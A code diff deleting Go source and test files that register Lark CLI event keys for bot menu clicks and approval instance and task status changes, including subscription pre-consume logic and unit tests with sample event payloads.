@@ -1,31 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package application registers Application-domain EventKeys.
-package application
-
-import (
-	"reflect"
-
-	"github.com/larksuite/cli/internal/event"
-)
-
-const eventTypeBotMenuV6 = "application.bot.menu_v6"
-
-// Keys returns all Application-domain EventKey definitions.
-func Keys() []event.KeyDefinition {
-	return []event.KeyDefinition{
-		{
-			Key:         eventTypeBotMenuV6,
-			DisplayName: "Bot menu",
-			Description: "Triggered when a user clicks a custom bot menu item whose action is configured as a push event.",
-			EventType:   eventTypeBotMenuV6,
-			Schema: event.SchemaDef{
-				Custom: &event.SchemaSpec{Type: reflect.TypeOf(BotMenuOutput{})},
-			},
-			Process:               processBotMenu,
-			AuthTypes:             []string{"bot"},
-			RequiredConsoleEvents: []string{eventTypeBotMenuV6},
-		},
-	}
-}

events/approval/preconsume.go

@@ -1,155 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package approval
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"strings"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/event"
-)
-
-type approvalEventType string
-type approvalSubscriptionPath string
-
-type approvalSubscriptionConfig struct {
-	eventType     approvalEventType
-	subscribePath approvalSubscriptionPath
-}
-
-func approvalSubscriptionPreConsume(cfg approvalSubscriptionConfig) func(context.Context, event.APIClient, map[string]string) (func() error, error) {
-	return func(ctx context.Context, rt event.APIClient, params map[string]string) (func() error, error) {
-		if rt == nil {
-			return nil, errs.NewInternalError(errs.SubtypeUnknown,
-				"runtime API client is required for pre-consume subscription")
-		}
-
-		eventType := string(cfg.eventType)
-		subscribePath := string(cfg.subscribePath)
-		subscriptionTypes, err := approvalSubscriptionTypes(eventType, params)
-		if err != nil {
-			return nil, err
-		}
-
-		registered := make([]string, 0, len(subscriptionTypes))
-		for _, subscriptionType := range subscriptionTypes {
-			body := map[string]string{"subscription_type": subscriptionType}
-			if _, err := rt.CallAPI(ctx, "POST", subscribePath, body); err != nil {
-				return nil, approvalSubscriptionRegistrationError(eventType, registered, subscriptionType, err)
-			}
-			registered = append(registered, subscriptionType)
-		}
-
-		// Approval subscriptions are durable user-auth relations. Consuming events
-		// should not cancel that relation when this local process exits.
-		return nil, nil
-	}
-}
-
-func approvalSubscriptionTypes(eventType string, params map[string]string) ([]string, error) {
-	raw := strings.TrimSpace(params["subscription_type"])
-	if raw == "" {
-		return append([]string(nil), approvalAllSubscriptionTypes...), nil
-	}
-
-	values, err := parseApprovalSubscriptionTypeValues(raw)
-	if err != nil {
-		return nil, invalidApprovalSubscriptionTypeError(eventType, raw)
-	}
-
-	selected := make(map[string]bool, len(values))
-	for _, value := range values {
-		value = strings.TrimSpace(value)
-		switch value {
-		case approvalSubscriptionTypeInvolved, approvalSubscriptionTypeManaged:
-			selected[value] = true
-		default:
-			return nil, invalidApprovalSubscriptionTypeError(eventType, value)
-		}
-	}
-
-	result := make([]string, 0, len(selected))
-	for _, value := range approvalAllSubscriptionTypes {
-		if selected[value] {
-			result = append(result, value)
-		}
-	}
-	if len(result) == 0 {
-		return nil, invalidApprovalSubscriptionTypeError(eventType, raw)
-	}
-	return result, nil
-}
-
-func parseApprovalSubscriptionTypeValues(raw string) ([]string, error) {
-	if strings.HasPrefix(raw, "[") {
-		var values []string
-		if err := json.Unmarshal([]byte(raw), &values); err != nil {
-			return nil, err
-		}
-		return values, nil
-	}
-	return strings.Split(raw, ","), nil
-}
-
-func approvalSubscriptionRegistrationError(eventType string, registered []string, failed string, err error) error {
-	if err == nil {
-		return nil
-	}
-
-	msg := fmt.Sprintf(
-		"approval subscription pre-consume failed for EventKey %s: failed subscription_type %s",
-		eventType,
-		failed,
-	)
-	hint := fmt.Sprintf(
-		"no approval subscription relation was registered for EventKey %s; fix the cause and retry",
-		eventType,
-	)
-	if len(registered) > 0 {
-		msg = fmt.Sprintf(
-			"approval subscription pre-consume partially completed for EventKey %s: registered subscription_type(s) [%s], failed subscription_type %s",
-			eventType,
-			strings.Join(registered, ", "),
-			failed,
-		)
-		hint = fmt.Sprintf(
-			"server-side approval subscription relation(s) already registered for EventKey %s: %s; after fixing the cause, retry with --param subscription_type=%s to register the failed relation",
-			eventType,
-			strings.Join(registered, ", "),
-			failed,
-		)
-	}
-
-	if p, ok := errs.ProblemOf(err); ok {
-		if upstream := strings.TrimSpace(p.Message); upstream != "" {
-			p.Message = msg + ": " + upstream
-		} else {
-			p.Message = msg
-		}
-		if upstreamHint := strings.TrimSpace(p.Hint); upstreamHint != "" {
-			p.Hint = upstreamHint + "\n" + hint
-		} else {
-			p.Hint = hint
-		}
-		return err
-	}
-	return errs.NewInternalError(errs.SubtypeSDKError, "%s: %v", msg, err).
-		WithHint("%s", hint).
-		WithCause(err)
-}
-
-func invalidApprovalSubscriptionTypeError(eventType, value string) error {
-	return errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"invalid subscription_type for EventKey %s: %q", eventType, value).
-		WithParam("--param").
-		WithHint("omit subscription_type to register both approval subscription relations, or pass --param subscription_type=%s, --param subscription_type=%s, or --param subscription_type=%s,%s; run `lark-cli event schema %s` for details",
-			approvalSubscriptionTypeInvolved,
-			approvalSubscriptionTypeManaged,
-			approvalSubscriptionTypeInvolved,
-			approvalSubscriptionTypeManaged,
-			eventType)
-}

events/approval/register.go

@@ -1,179 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package approval registers Approval-domain EventKeys.
-package approval
-
-import (
-	"context"
-	"encoding/json"
-	"reflect"
-
-	"github.com/larksuite/cli/internal/event"
-)
-
-const (
-	eventTypeApprovalInstanceStatusChangedV4 = "approval.instance.status_changed_v4"
-	eventTypeApprovalTaskStatusChangedV4     = "approval.task.status_changed_v4"
-
-	pathApprovalInstancesSubscription = "/open-apis/approval/v4/instances/subscription"
-	pathApprovalTasksSubscription     = "/open-apis/approval/v4/tasks/subscription"
-
-	approvalSubscriptionTypeInvolved = "INVOLVED_APPROVAL"
-	approvalSubscriptionTypeManaged  = "MANAGED_APPROVAL"
-)
-
-var approvalAllSubscriptionTypes = []string{
-	approvalSubscriptionTypeInvolved,
-	approvalSubscriptionTypeManaged,
-}
-
-// Keys returns all Approval-domain EventKey definitions.
-func Keys() []event.KeyDefinition {
-	return []event.KeyDefinition{
-		{
-			Key:         eventTypeApprovalInstanceStatusChangedV4,
-			DisplayName: "Approval instance status changed",
-			Description: "Triggered after an approval instance status becomes visible to the requester or approval participants",
-			EventType:   eventTypeApprovalInstanceStatusChangedV4,
-			Params:      approvalSubscriptionParams(),
-			Schema: event.SchemaDef{
-				Custom: &event.SchemaSpec{Type: reflect.TypeOf(ApprovalInstanceStatusChangedV4Output{})},
-			},
-			Process: processApprovalInstanceStatusChanged,
-			PreConsume: approvalSubscriptionPreConsume(approvalSubscriptionConfig{
-				eventType:     eventTypeApprovalInstanceStatusChangedV4,
-				subscribePath: pathApprovalInstancesSubscription,
-			}),
-			Scopes: []string{"approval:instance:read"},
-			AuthTypes: []string{
-				"user",
-			},
-			RequiredConsoleEvents: []string{eventTypeApprovalInstanceStatusChangedV4},
-		},
-		{
-			Key:         eventTypeApprovalTaskStatusChangedV4,
-			DisplayName: "Approval task status changed",
-			Description: "Triggered after an approval task status becomes visible to the requester or task approver",
-			EventType:   eventTypeApprovalTaskStatusChangedV4,
-			Params:      approvalSubscriptionParams(),
-			Schema: event.SchemaDef{
-				Custom: &event.SchemaSpec{Type: reflect.TypeOf(ApprovalTaskStatusChangedV4Output{})},
-			},
-			Process: processApprovalTaskStatusChanged,
-			PreConsume: approvalSubscriptionPreConsume(approvalSubscriptionConfig{
-				eventType:     eventTypeApprovalTaskStatusChangedV4,
-				subscribePath: pathApprovalTasksSubscription,
-			}),
-			Scopes: []string{"approval:task:read"},
-			AuthTypes: []string{
-				"user",
-			},
-			RequiredConsoleEvents: []string{eventTypeApprovalTaskStatusChangedV4},
-		},
-	}
-}
-
-func approvalSubscriptionParams() []event.ParamDef {
-	return []event.ParamDef{
-		{
-			Name:        "subscription_type",
-			Type:        event.ParamMulti,
-			Description: "Approval subscription relation type(s) to register for the current authorized user. Omit to register both involved and managed approval relations.",
-			Values: []event.ParamValue{
-				{
-					Value: approvalSubscriptionTypeInvolved,
-					Desc:  "Receive events where the current user is the approval requester or approver.",
-				},
-				{
-					Value: approvalSubscriptionTypeManaged,
-					Desc:  "Receive events under approval definitions managed by the current user.",
-				},
-			},
-		},
-	}
-}
-
-func processApprovalInstanceStatusChanged(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
-	if raw == nil {
-		return nil, nil
-	}
-	var envelope struct {
-		Header struct {
-			EventID    string `json:"event_id"`
-			EventType  string `json:"event_type"`
-			CreateTime string `json:"create_time"`
-		} `json:"header"`
-		Event struct {
-			ApprovalCode string          `json:"approval_code"`
-			InstanceCode string          `json:"instance_code"`
-			ExternalID   string          `json:"external_id"`
-			Status       string          `json:"status"`
-			OperateTime  string          `json:"operate_time"`
-			StartUser    *ApprovalUserID `json:"start_user"`
-		} `json:"event"`
-	}
-	if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
-		return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
-	}
-
-	out := &ApprovalInstanceStatusChangedV4Output{
-		Type:         envelope.Header.EventType,
-		EventID:      envelope.Header.EventID,
-		Timestamp:    envelope.Header.CreateTime,
-		ApprovalCode: envelope.Event.ApprovalCode,
-		InstanceCode: envelope.Event.InstanceCode,
-		ExternalID:   envelope.Event.ExternalID,
-		Status:       envelope.Event.Status,
-		OperateTime:  envelope.Event.OperateTime,
-		StartUser:    envelope.Event.StartUser,
-	}
-	if out.Type == "" {
-		out.Type = raw.EventType
-	}
-	return json.Marshal(out)
-}
-
-func processApprovalTaskStatusChanged(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
-	if raw == nil {
-		return nil, nil
-	}
-	var envelope struct {
-		Header struct {
-			EventID    string `json:"event_id"`
-			EventType  string `json:"event_type"`
-			CreateTime string `json:"create_time"`
-		} `json:"header"`
-		Event struct {
-			ApprovalCode   string          `json:"approval_code"`
-			InstanceCode   string          `json:"instance_code"`
-			TaskID         string          `json:"task_id"`
-			ExternalID     string          `json:"external_id"`
-			TaskExternalID string          `json:"task_external_id"`
-			AssignedUser   *ApprovalUserID `json:"assigned_user"`
-			Status         string          `json:"status"`
-			OperateTime    string          `json:"operate_time"`
-		} `json:"event"`
-	}
-	if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
-		return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
-	}
-
-	out := &ApprovalTaskStatusChangedV4Output{
-		Type:           envelope.Header.EventType,
-		EventID:        envelope.Header.EventID,
-		Timestamp:      envelope.Header.CreateTime,
-		ApprovalCode:   envelope.Event.ApprovalCode,
-		InstanceCode:   envelope.Event.InstanceCode,
-		TaskID:         envelope.Event.TaskID,
-		ExternalID:     envelope.Event.ExternalID,
-		TaskExternalID: envelope.Event.TaskExternalID,
-		AssignedUser:   envelope.Event.AssignedUser,
-		Status:         envelope.Event.Status,
-		OperateTime:    envelope.Event.OperateTime,
-	}
-	if out.Type == "" {
-		out.Type = raw.EventType
-	}
-	return json.Marshal(out)
-}

events/approval/register_test.go

@@ -1,654 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package approval
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/event"
-	"github.com/larksuite/cli/internal/event/schemas"
-)
-
-type recordedCall struct {
-	method string
-	path   string
-	body   interface{}
-}
-
-type fakeAPIClient struct {
-	calls     []recordedCall
-	err       error
-	errOnCall int
-}
-
-func (f *fakeAPIClient) CallAPI(_ context.Context, method, path string, body interface{}) (json.RawMessage, error) {
-	f.calls = append(f.calls, recordedCall{method: method, path: path, body: body})
-	if f.err != nil && (f.errOnCall == 0 || f.errOnCall == len(f.calls)) {
-		return nil, f.err
-	}
-	return json.RawMessage(`{}`), nil
-}
-
-func TestKeysApprovalMetadata(t *testing.T) {
-	keys := Keys()
-	if len(keys) != 2 {
-		t.Fatalf("len(Keys()) = %d, want 2", len(keys))
-	}
-
-	tests := []struct {
-		key        string
-		scope      string
-		schemaType reflect.Type
-		subscribe  string
-	}{
-		{
-			key:        eventTypeApprovalInstanceStatusChangedV4,
-			scope:      "approval:instance:read",
-			schemaType: reflect.TypeOf(ApprovalInstanceStatusChangedV4Output{}),
-			subscribe:  pathApprovalInstancesSubscription,
-		},
-		{
-			key:        eventTypeApprovalTaskStatusChangedV4,
-			scope:      "approval:task:read",
-			schemaType: reflect.TypeOf(ApprovalTaskStatusChangedV4Output{}),
-			subscribe:  pathApprovalTasksSubscription,
-		},
-	}
-
-	byKey := make(map[string]event.KeyDefinition, len(keys))
-	for _, def := range keys {
-		byKey[def.Key] = def
-	}
-
-	for _, tc := range tests {
-		t.Run(tc.key, func(t *testing.T) {
-			def, ok := byKey[tc.key]
-			if !ok {
-				t.Fatalf("missing key %s", tc.key)
-			}
-			if def.EventType != tc.key {
-				t.Errorf("EventType = %q, want %q", def.EventType, tc.key)
-			}
-			if def.Schema.Custom == nil || def.Schema.Custom.Type != tc.schemaType {
-				t.Fatalf("Custom schema Type = %v, want %v", def.Schema.Custom, tc.schemaType)
-			}
-			if def.Schema.Native != nil {
-				t.Fatal("approval events must use Custom schema while SDK event types are not exported")
-			}
-			if def.Process == nil {
-				t.Fatal("Process must flatten raw V2 envelopes")
-			}
-			if def.PreConsume == nil {
-				t.Fatal("PreConsume must subscribe approval user-auth events")
-			}
-			if !reflect.DeepEqual(def.Scopes, []string{tc.scope}) {
-				t.Errorf("Scopes = %#v, want %q", def.Scopes, tc.scope)
-			}
-			if !reflect.DeepEqual(def.AuthTypes, []string{"user"}) {
-				t.Errorf("AuthTypes = %#v, want user", def.AuthTypes)
-			}
-			if !reflect.DeepEqual(def.RequiredConsoleEvents, []string{tc.key}) {
-				t.Errorf("RequiredConsoleEvents = %#v, want %q", def.RequiredConsoleEvents, tc.key)
-			}
-			assertSubscriptionParam(t, def.Params)
-		})
-	}
-}
-
-func assertSubscriptionParam(t *testing.T, params []event.ParamDef) {
-	t.Helper()
-	if len(params) != 1 {
-		t.Fatalf("len(params) = %d, want 1", len(params))
-	}
-	p := params[0]
-	if p.Name != "subscription_type" || p.Type != event.ParamMulti || p.Required || p.SubscriptionKey {
-		t.Fatalf("subscription_type param = %+v, want optional multi non-subscription-key param", p)
-	}
-	got := map[string]string{}
-	for _, v := range p.Values {
-		got[v.Value] = v.Desc
-	}
-	for _, want := range []string{approvalSubscriptionTypeInvolved, approvalSubscriptionTypeManaged} {
-		if got[want] == "" {
-			t.Errorf("subscription_type value %q missing or empty desc; values=%+v", want, p.Values)
-		}
-	}
-}
-
-type reflectedApprovalSchema struct {
-	Properties map[string]reflectedApprovalSchemaProperty `json:"properties"`
-}
-
-type reflectedApprovalSchemaProperty struct {
-	Format     string                                     `json:"format"`
-	Enum       []string                                   `json:"enum"`
-	Properties map[string]reflectedApprovalSchemaProperty `json:"properties"`
-}
-
-func TestApprovalSchemasAnnotations(t *testing.T) {
-	tests := []struct {
-		name         string
-		schemaType   reflect.Type
-		eventType    string
-		statusValues []string
-		userField    string
-	}{
-		{
-			name:         "instance",
-			schemaType:   reflect.TypeOf(ApprovalInstanceStatusChangedV4Output{}),
-			eventType:    eventTypeApprovalInstanceStatusChangedV4,
-			statusValues: []string{"PENDING", "APPROVED", "REJECTED", "CANCELED", "DELETED", "REVERTED", "OVERTIME_CLOSE", "OVERTIME_RECOVER"},
-			userField:    "start_user",
-		},
-		{
-			name:         "task",
-			schemaType:   reflect.TypeOf(ApprovalTaskStatusChangedV4Output{}),
-			eventType:    eventTypeApprovalTaskStatusChangedV4,
-			statusValues: []string{"REVERTED", "PENDING", "APPROVED", "REJECTED", "TRANSFERRED", "ROLLBACK", "DONE", "OVERTIME_CLOSE", "OVERTIME_RECOVER"},
-			userField:    "assigned_user",
-		},
-	}
-
-	for _, tc := range tests {
-		t.Run(tc.name, func(t *testing.T) {
-			var schema reflectedApprovalSchema
-			if err := json.Unmarshal(schemas.FromType(tc.schemaType), &schema); err != nil {
-				t.Fatalf("unmarshal schema: %v", err)
-			}
-			props := schema.Properties
-			eventTypeEnum := props["type"].Enum
-			if len(eventTypeEnum) != 1 || eventTypeEnum[0] != tc.eventType {
-				t.Fatalf("type enum = %v, want %s", eventTypeEnum, tc.eventType)
-			}
-			if got := props["timestamp"].Format; got != "timestamp_ms" {
-				t.Errorf("timestamp format = %v, want timestamp_ms", got)
-			}
-			assertEnumContains(t, props["status"].Enum, tc.statusValues)
-			if got := props["operate_time"].Format; got != "timestamp_ms" {
-				t.Errorf("event.operate_time format = %v, want timestamp_ms", got)
-			}
-
-			userProps := props[tc.userField].Properties
-			if got := userProps["open_id"].Format; got != "open_id" {
-				t.Errorf("%s.open_id format = %v, want open_id", tc.userField, got)
-			}
-			if got := userProps["union_id"].Format; got != "union_id" {
-				t.Errorf("%s.union_id format = %v, want union_id", tc.userField, got)
-			}
-			if got := userProps["user_id"].Format; got != "user_id" {
-				t.Errorf("%s.user_id format = %v, want user_id", tc.userField, got)
-			}
-		})
-	}
-}
-
-func assertEnumContains(t *testing.T, raw []string, wants []string) {
-	t.Helper()
-	got := make(map[string]bool, len(raw))
-	for _, v := range raw {
-		got[v] = true
-	}
-	for _, want := range wants {
-		if !got[want] {
-			t.Errorf("enum missing %q; enum=%v", want, raw)
-		}
-	}
-}
-
-func TestApprovalPreConsumeRegistersSubscriptionTypesWithoutCleanup(t *testing.T) {
-	tests := []struct {
-		name          string
-		eventType     string
-		subscribePath string
-		params        map[string]string
-		wantTypes     []string
-	}{
-		{
-			name:          "instance omitted subscription_type registers both",
-			eventType:     eventTypeApprovalInstanceStatusChangedV4,
-			subscribePath: pathApprovalInstancesSubscription,
-			wantTypes: []string{
-				approvalSubscriptionTypeInvolved,
-				approvalSubscriptionTypeManaged,
-			},
-		},
-		{
-			name:          "task explicit single managed",
-			eventType:     eventTypeApprovalTaskStatusChangedV4,
-			subscribePath: pathApprovalTasksSubscription,
-			params:        map[string]string{"subscription_type": approvalSubscriptionTypeManaged},
-			wantTypes:     []string{approvalSubscriptionTypeManaged},
-		},
-		{
-			name:          "task comma separated multi canonicalizes and deduplicates",
-			eventType:     eventTypeApprovalTaskStatusChangedV4,
-			subscribePath: pathApprovalTasksSubscription,
-			params: map[string]string{
-				"subscription_type": approvalSubscriptionTypeManaged + "," + approvalSubscriptionTypeInvolved + "," + approvalSubscriptionTypeManaged,
-			},
-			wantTypes: []string{
-				approvalSubscriptionTypeInvolved,
-				approvalSubscriptionTypeManaged,
-			},
-		},
-		{
-			name:          "instance json array multi",
-			eventType:     eventTypeApprovalInstanceStatusChangedV4,
-			subscribePath: pathApprovalInstancesSubscription,
-			params: map[string]string{
-				"subscription_type": `["MANAGED_APPROVAL","INVOLVED_APPROVAL"]`,
-			},
-			wantTypes: []string{
-				approvalSubscriptionTypeInvolved,
-				approvalSubscriptionTypeManaged,
-			},
-		},
-	}
-
-	for _, tc := range tests {
-		t.Run(tc.name, func(t *testing.T) {
-			pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
-				eventType:     approvalEventType(tc.eventType),
-				subscribePath: approvalSubscriptionPath(tc.subscribePath),
-			})
-			rt := &fakeAPIClient{}
-			cleanup, err := pc(context.Background(), rt, tc.params)
-			if err != nil {
-				t.Fatalf("PreConsume returned error: %v", err)
-			}
-			if cleanup != nil {
-				t.Fatal("cleanup must be nil; approval consume must not unsubscribe on exit")
-			}
-			assertSubscriptionCalls(t, rt.calls, tc.subscribePath, tc.wantTypes)
-		})
-	}
-}
-
-func assertSubscriptionCalls(t *testing.T, got []recordedCall, wantPath string, wantTypes []string) {
-	t.Helper()
-	if len(got) != len(wantTypes) {
-		t.Fatalf("calls after pre-consume = %d, want %d; calls=%+v", len(got), len(wantTypes), got)
-	}
-	for i, wantType := range wantTypes {
-		assertCall(t, got[i], "POST", wantPath, map[string]string{"subscription_type": wantType})
-	}
-}
-
-func assertCall(t *testing.T, got recordedCall, wantMethod, wantPath string, wantBody interface{}) {
-	t.Helper()
-	if got.method != wantMethod {
-		t.Errorf("method = %q, want %q", got.method, wantMethod)
-	}
-	if got.path != wantPath {
-		t.Errorf("path = %q, want %q", got.path, wantPath)
-	}
-	if !reflect.DeepEqual(got.body, wantBody) {
-		t.Errorf("body = %#v, want %#v", got.body, wantBody)
-	}
-}
-
-func TestApprovalPreConsumeValidationErrors(t *testing.T) {
-	t.Run("nil runtime", func(t *testing.T) {
-		pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
-			eventType: eventTypeApprovalInstanceStatusChangedV4,
-		})
-		_, err := pc(context.Background(), nil, map[string]string{"subscription_type": approvalSubscriptionTypeInvolved})
-		if err == nil {
-			t.Fatal("expected nil runtime error")
-		}
-		p, ok := errs.ProblemOf(err)
-		if !ok || p.Category != errs.CategoryInternal {
-			t.Fatalf("err = %T/%v, want typed internal error", err, err)
-		}
-	})
-
-	for _, raw := range []string{"BAD", "[]", `["INVOLVED_APPROVAL",3]`} {
-		t.Run("invalid subscription type "+raw, func(t *testing.T) {
-			pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
-				eventType: eventTypeApprovalInstanceStatusChangedV4,
-			})
-			cleanup, err := pc(context.Background(), &fakeAPIClient{}, map[string]string{"subscription_type": raw})
-			if err == nil {
-				t.Fatal("expected invalid subscription_type error")
-			}
-			if cleanup != nil {
-				t.Fatal("cleanup must be nil on validation error")
-			}
-			var ve *errs.ValidationError
-			if !errors.As(err, &ve) {
-				t.Fatalf("err = %T/%v, want *errs.ValidationError", err, err)
-			}
-			if ve.Subtype != errs.SubtypeInvalidArgument || ve.Param != "--param" {
-				t.Errorf("subtype/param = %s/%q, want invalid_argument/--param", ve.Subtype, ve.Param)
-			}
-			if ve.Hint == "" {
-				t.Error("invalid subscription_type should carry a hint")
-			}
-		})
-	}
-
-	t.Run("partial registration failure reports registered and failed relation types", func(t *testing.T) {
-		upstream := errs.NewAPIError(errs.SubtypeServerError, "approval subscription API failed")
-		rt := &fakeAPIClient{err: upstream, errOnCall: 2}
-		pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
-			eventType:     eventTypeApprovalTaskStatusChangedV4,
-			subscribePath: pathApprovalTasksSubscription,
-		})
-
-		cleanup, err := pc(context.Background(), rt, map[string]string{})
-		if err == nil {
-			t.Fatal("expected partial registration error")
-		}
-		if cleanup != nil {
-			t.Fatal("cleanup must be nil on registration error")
-		}
-		assertSubscriptionCalls(t, rt.calls, pathApprovalTasksSubscription, []string{
-			approvalSubscriptionTypeInvolved,
-			approvalSubscriptionTypeManaged,
-		})
-		p, ok := errs.ProblemOf(err)
-		if !ok {
-			t.Fatalf("err = %T/%v, want typed error", err, err)
-		}
-		if p.Category != errs.CategoryAPI || p.Subtype != errs.SubtypeServerError {
-			t.Fatalf("category/subtype = %s/%s, want api/server_error", p.Category, p.Subtype)
-		}
-		for _, want := range []string{
-			"registered subscription_type(s) [INVOLVED_APPROVAL]",
-			"failed subscription_type MANAGED_APPROVAL",
-		} {
-			if !strings.Contains(p.Message, want) {
-				t.Errorf("partial error message missing %q: %q", want, p.Message)
-			}
-		}
-		for _, want := range []string{
-			"already registered",
-			"--param subscription_type=MANAGED_APPROVAL",
-		} {
-			if !strings.Contains(p.Hint, want) {
-				t.Errorf("partial error hint missing %q: %q", want, p.Hint)
-			}
-		}
-	})
-}
-
-func TestApprovalSubscriptionRegistrationErrorVariants(t *testing.T) {
-	t.Run("nil error", func(t *testing.T) {
-		if err := approvalSubscriptionRegistrationError(eventTypeApprovalTaskStatusChangedV4, nil, approvalSubscriptionTypeInvolved, nil); err != nil {
-			t.Fatalf("nil cause returned error: %v", err)
-		}
-	})
-
-	t.Run("typed error with existing hint and empty message", func(t *testing.T) {
-		upstream := errs.NewAPIError(errs.SubtypeServerError, "").WithHint("retry later")
-		err := approvalSubscriptionRegistrationError(
-			eventTypeApprovalTaskStatusChangedV4,
-			nil,
-			approvalSubscriptionTypeInvolved,
-			upstream,
-		)
-		if err != upstream {
-			t.Fatalf("typed error should be annotated in place; got %T/%v", err, err)
-		}
-		p, ok := errs.ProblemOf(err)
-		if !ok {
-			t.Fatalf("err = %T/%v, want typed error", err, err)
-		}
-		if !strings.Contains(p.Message, "failed subscription_type INVOLVED_APPROVAL") {
-			t.Errorf("message missing failed relation: %q", p.Message)
-		}
-		for _, want := range []string{"retry later", "no approval subscription relation was registered"} {
-			if !strings.Contains(p.Hint, want) {
-				t.Errorf("hint missing %q: %q", want, p.Hint)
-			}
-		}
-	})
-
-	t.Run("untyped error is wrapped with retry context", func(t *testing.T) {
-		cause := errors.New("transport closed")
-		err := approvalSubscriptionRegistrationError(
-			eventTypeApprovalTaskStatusChangedV4,
-			nil,
-			approvalSubscriptionTypeInvolved,
-			cause,
-		)
-		if !errors.Is(err, cause) {
-			t.Fatalf("wrapped error should preserve cause; got %T/%v", err, err)
-		}
-		p, ok := errs.ProblemOf(err)
-		if !ok {
-			t.Fatalf("err = %T/%v, want typed error", err, err)
-		}
-		if p.Category != errs.CategoryInternal || p.Subtype != errs.SubtypeSDKError {
-			t.Fatalf("category/subtype = %s/%s, want internal/sdk_error", p.Category, p.Subtype)
-		}
-		if !strings.Contains(p.Hint, "no approval subscription relation was registered") {
-			t.Errorf("hint missing no-registration context: %q", p.Hint)
-		}
-	})
-}
-
-func TestProcessApprovalInstanceStatusChanged(t *testing.T) {
-	out := runApprovalInstanceStatusChanged(t, `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "evt_approval_instance_001",
-			"event_type": "approval.instance.status_changed_v4",
-			"create_time": "1710000000000"
-		},
-		"event": {
-			"approval_code": "approval_code_001",
-			"instance_code": "instance_code_001",
-			"external_id": "external_001",
-			"status": "PENDING",
-			"operate_time": "1666079207003",
-			"start_user": {
-				"open_id": "ou_start",
-				"union_id": "on_start",
-				"user_id": "user_start"
-			}
-		}
-	}`)
-
-	if out.Type != eventTypeApprovalInstanceStatusChangedV4 {
-		t.Errorf("Type = %q, want %q", out.Type, eventTypeApprovalInstanceStatusChangedV4)
-	}
-	if out.EventID != "evt_approval_instance_001" || out.Timestamp != "1710000000000" {
-		t.Errorf("EventID/Timestamp = %q/%q", out.EventID, out.Timestamp)
-	}
-	if out.ApprovalCode != "approval_code_001" || out.InstanceCode != "instance_code_001" {
-		t.Errorf("approval/instance code = %q/%q", out.ApprovalCode, out.InstanceCode)
-	}
-	if out.ExternalID != "external_001" || out.Status != "PENDING" || out.OperateTime != "1666079207003" {
-		t.Errorf("external/status/operate_time = %q/%q/%q", out.ExternalID, out.Status, out.OperateTime)
-	}
-	if out.StartUser == nil || out.StartUser.OpenID != "ou_start" || out.StartUser.UnionID != "on_start" || out.StartUser.UserID != "user_start" {
-		t.Fatalf("StartUser = %+v, want full user ids", out.StartUser)
-	}
-}
-
-func TestProcessApprovalTaskStatusChanged(t *testing.T) {
-	out := runApprovalTaskStatusChanged(t, `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "evt_approval_task_001",
-			"event_type": "approval.task.status_changed_v4",
-			"create_time": "1710000000001"
-		},
-		"event": {
-			"approval_code": "approval_code_002",
-			"instance_code": "instance_code_002",
-			"task_id": "task_001",
-			"external_id": "external_002",
-			"task_external_id": "task_external_001",
-			"status": "APPROVED",
-			"operate_time": "1666079207004",
-			"assigned_user": {
-				"open_id": "ou_assignee",
-				"union_id": "on_assignee",
-				"user_id": "user_assignee"
-			}
-		}
-	}`)
-
-	if out.Type != eventTypeApprovalTaskStatusChangedV4 {
-		t.Errorf("Type = %q, want %q", out.Type, eventTypeApprovalTaskStatusChangedV4)
-	}
-	if out.EventID != "evt_approval_task_001" || out.Timestamp != "1710000000001" {
-		t.Errorf("EventID/Timestamp = %q/%q", out.EventID, out.Timestamp)
-	}
-	if out.ApprovalCode != "approval_code_002" || out.InstanceCode != "instance_code_002" || out.TaskID != "task_001" {
-		t.Errorf("approval/instance/task = %q/%q/%q", out.ApprovalCode, out.InstanceCode, out.TaskID)
-	}
-	if out.ExternalID != "external_002" || out.TaskExternalID != "task_external_001" || out.Status != "APPROVED" || out.OperateTime != "1666079207004" {
-		t.Errorf("external/task_external/status/operate_time = %q/%q/%q/%q", out.ExternalID, out.TaskExternalID, out.Status, out.OperateTime)
-	}
-	if out.AssignedUser == nil || out.AssignedUser.OpenID != "ou_assignee" || out.AssignedUser.UnionID != "on_assignee" || out.AssignedUser.UserID != "user_assignee" {
-		t.Fatalf("AssignedUser = %+v, want full user ids", out.AssignedUser)
-	}
-}
-
-func TestProcessApprovalStatusChangedUsesRawEventTypeFallback(t *testing.T) {
-	instance := runApprovalInstanceStatusChanged(t, `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "evt_approval_instance_fallback",
-			"create_time": "1710000000002"
-		},
-		"event": {
-			"approval_code": "approval_code_fallback",
-			"instance_code": "instance_code_fallback",
-			"status": "APPROVED",
-			"operate_time": "1666079207005"
-		}
-	}`)
-	if instance.Type != eventTypeApprovalInstanceStatusChangedV4 {
-		t.Errorf("instance Type fallback = %q, want %q", instance.Type, eventTypeApprovalInstanceStatusChangedV4)
-	}
-
-	task := runApprovalTaskStatusChanged(t, `{
-		"schema": "2.0",
-		"header": {
